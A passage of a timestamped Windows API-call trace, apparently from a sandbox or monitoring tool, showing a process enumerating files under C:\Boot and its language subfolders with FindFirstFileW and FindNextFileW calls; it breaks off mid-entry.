nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0050.636] FindClose (in: hFindFile=0x4260300 | out: hFindFile=0x4260300) returned 1 [0050.636] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0051.268] FindNextFileW (in: hFindFile=0x6b9698, lpFindFileData=0x328fcf8 | out: lpFindFileData=0x328fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0051.311] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0051.312] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4260080 [0052.403] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0052.404] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0052.404] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0052.404] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0052.404] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0052.404] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0052.404] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0052.404] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260300 [0052.893] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.893] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.893] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.893] FindClose (in: hFindFile=0x4260300 | out: hFindFile=0x4260300) returned 1 [0052.893] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.893] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0052.894] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0052.894] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0052.894] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0052.894] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0052.894] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42607c0 [0052.895] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.895] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.895] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.895] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.895] FindClose (in: hFindFile=0x42607c0 | out: hFindFile=0x42607c0) returned 1 [0052.895] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.895] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0052.895] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0052.895] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42603c0 [0052.896] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.896] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.896] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.896] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.896] FindClose (in: hFindFile=0x42603c0 | out: hFindFile=0x42603c0) returned 1 [0052.896] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.896] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0052.896] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0052.896] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260200 [0052.897] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.897] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.897] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.897] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.897] FindClose (in: hFindFile=0x4260200 | out: hFindFile=0x4260200) returned 1 [0052.897] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.897] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0052.897] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0052.897] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0052.898] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.898] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.898] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.898] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.898] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0052.898] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.898] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0052.898] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0052.898] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42602c0 [0052.899] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.899] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.899] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, 